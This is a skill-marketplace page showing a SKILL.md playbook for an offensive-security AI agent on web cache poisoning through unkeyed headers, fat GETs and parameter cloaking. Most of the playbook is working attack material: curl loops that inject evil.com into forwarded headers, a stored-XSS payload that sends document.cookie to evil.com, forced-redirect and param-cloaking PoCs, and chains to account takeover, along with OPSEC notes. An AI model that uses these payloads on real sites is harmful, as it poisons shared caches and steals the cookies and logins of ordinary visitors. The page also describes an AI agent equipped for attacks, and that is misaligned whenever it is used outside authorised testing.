Skip to main content

web-cache-poisoning

Unkeyed-input cache poisoning — X-Forwarded-Host/Scheme/Port, X-Original-URL, fat-GET, parameter cloaking, oversized-header DoS, and chains to stored-XSS / open redirect via shared caches.

소스 정보

저장소
BitterSecurity/Decepticon
최근 소스 활동
2026년 6월 1일 23:00
감지된 SKILL.md 언어
영어
스타
5,611
포크
1,061

설치 방법

기본적으로 소스를 먼저 확인하는 Prompt가 선택됩니다. 직접 명령으로 전환하거나 로컬 사본을 다운로드할 수도 있습니다.

소스 파일 검토

설치 여부를 결정하기 전에 SKILL.md와 SkillsMP에 표시된 보조 파일을 읽어 보세요.

SKILL.md 표시 중

SKILL.md
소스 지침 · 읽기 전용 미리보기
name
web-cache-poisoning
description
Unkeyed-input cache poisoning — X-Forwarded-Host/Scheme/Port, X-Original-URL, fat-GET, parameter cloaking, oversized-header DoS, and chains to stored-XSS / open redirect via shared caches.
allowed-tools
Bash Read Write
metadata
{"when_to_use":"cache poisoning unkeyed header x-forwarded-host x-forwarded-scheme x-original-url param miner fat get cdn varnish cloudflare","mitre_attack":"T1565.001","subdomain":"execution","tags":"web-application, cache, cdn, unkeyed-input, stored-xss"}
# Web Cache Poisoning Playbook Distinct from *cache deception* (tricking the cache into storing a victim's private response). Here, the attacker poisons the **shared** cache so every subsequent visitor receives an attacker-controlled response. Impact ranges from defacement → reflected-XSS-as-stored → forced-redirect → DoS. ## 1. Detection — find unkeyed inputs Definition: an *unkeyed* input is a header/parameter the cache ignores when building the cache key but the origin reflects into the response. ```bash URL="https://<TARGET>/" # (1) Cache-status fingerprint — must see HIT/MISS to know caching exists curl -s -D- -o /dev/null "$URL?cb=$RANDOM" | grep -iE "age|x-cache|cf-cache-status|via" # (2) Suspect headers — reflect into body or Location? for H in "X-Forwarded-Host: evil.com" "X-Forwarded-Scheme: http" \ "X-Forwarded-Port: 8888" "X-Forwarded-For: evil.com" \ "X-Host: evil.com" "X-Original-URL: /admin" \ "X-Rewrite-URL: /admin" "X-Forwarded-Server: evil.com" \ "Forwarded: host=evil.com"; do echo "== $H ==" curl -s "$URL?cb=$RANDOM" -H "$H" | grep -E "evil\.com|8888|/admin" | head -3 done # (3) Confirm poisoning — same URL twice, second request WITHOUT the header curl -s "$URL?poison=1" -H "X-Forwarded-Host: evil.com" -o /dev/null curl -s "$URL?poison=1" | grep -E "evil\.com" # if present → poisoned ``` ## 2. Misconfig / technique matrix | Class | Trigger | Outcome | |---|---|---| | Standard unkeyed header | `X-Forwarded-Host: evil.com` reflected into `<link rel=canonical>` or absolute URLs | stored open-redirect / XSS | | Scheme downgrade | `X-Forwarded-Scheme: http` reflected | force-HTTP cache → MITM | | Port confusion | `X-Forwarded-Port: 1` reflected into JS asset URLs | broken site DoS | | Routing override | `X-Original-URL: /admin`, `X-Rewrite-URL` | cached admin page served to public | | Fat GET | GET with a body parsed by origin but unkeyed by cache | inject params via body | | Parameter cloaking | `?utm=x&utm=<payload>` — cache normalizes, origin doesn't (or vice-versa) | poisoned param survives | | Key normalization flaw | cache lowercases path, origin doesn't (or strips `;jsessionid`) | desync key vs. response | | Cache-key injection via `Vary` gap | response varies on header cache doesn't include | per-attacker poisoning | | HTTP/0.9 / smuggling-assist | downstream cache stores smuggled response | mass poisoning | | Cache-Control overlap | origin returns `Cache-Control: private`, CDN ignores it | private response cached globally | | Oversized-header DoS | huge unkeyed header → origin 400, CDN caches 400 | denial-of-service on the URL | | 404 / error caching | error page cached with attacker payload reflected | DoS + stored XSS | ## 3. Exploit PoC ### 3.1 Stored-XSS via unkeyed Host ```bash # Origin reflects X-Forwarded-Host into <meta property="og:url"> curl -s "https://<TARGET>/?cb=$RANDOM" \ -H 'X-Forwarded-Host: a"><script>fetch("https://evil.com/?c="+document.cookie)</script><x="' # Verify cache HIT for the next visitor: curl -s "https://<TARGET>/?cb=$RANDOM" | grep -o 'evil\.com' ``` ### 3.2 Forced redirect ```bash curl -s "https://<TARGET>/login?cb=$RANDOM" -H "X-Forwarded-Host: evil.com" -o /dev/null # Subsequent victims: curl -sI "https://<TARGET>/login?cb=$RANDOM" | grep -i location # → Location: https://evil.com/login (cached for the TTL) ``` ### 3.3 Param-cloaking poison (Ruby/Rails-style last-wins vs. CDN first-wins) ```bash curl -s "https://<TARGET>/?utm=clean&utm=%22%3E%3Csvg/onload=alert(1)%3E" ``` ## 4. Chains - **Cache poisoning → stored XSS**: reflected XSS upgraded to mass-victim impact via cached response. - **Cache poisoning → ATO**: poison `/login` to send creds to attacker via swapped form action. - **Cache poisoning → SSRF**: poison API responses an internal job consumes. - **Smuggling → cache poisoning**: HTTP request smuggling stores arbitrary attacker response globally. ## 5. Tools - Burp Suite — **Param Miner** extension (Hackvertor + cache rules) — *the* canonical tool - `cache-poisoning` payload lists (PortSwigger research) - `httpx -follow-redirects -title -tech-detect` for fingerprinting Vary/`X-Cache` ## 6. Detection signatures & OPSEC | Indicator | Detection method | OPSEC note | |---|---|---| | Repeated `X-Forwarded-*` permutations on one URL | WAF rule / access log | Cache-bust with `?cb=$RANDOM` per probe; do NOT poison shared paths during tests | | Sudden cache HIT containing attacker host | CDN log review | Use a unique sentinel host you can prove you own | | Mass `Age: 0` on poisoned paths | CDN metric | Coordinate purge with the defender before disclosure | ## Decision Gate: poisoning confirmed → exploitation - [ ] Caching layer present (`X-Cache: HIT`, `Age:` ticks) - [ ] At least one unkeyed input reflects into response/redirect - [ ] A second request without the input still returns the poisoned response - [ ] Reflected payload reaches a security-sensitive sink (script, Location, form action) - [ ] Defender notified before live-cache exploitation (authorized scope) If all checked, escalate per `finding-protocol`; otherwise downgrade.
GitHub에서 보기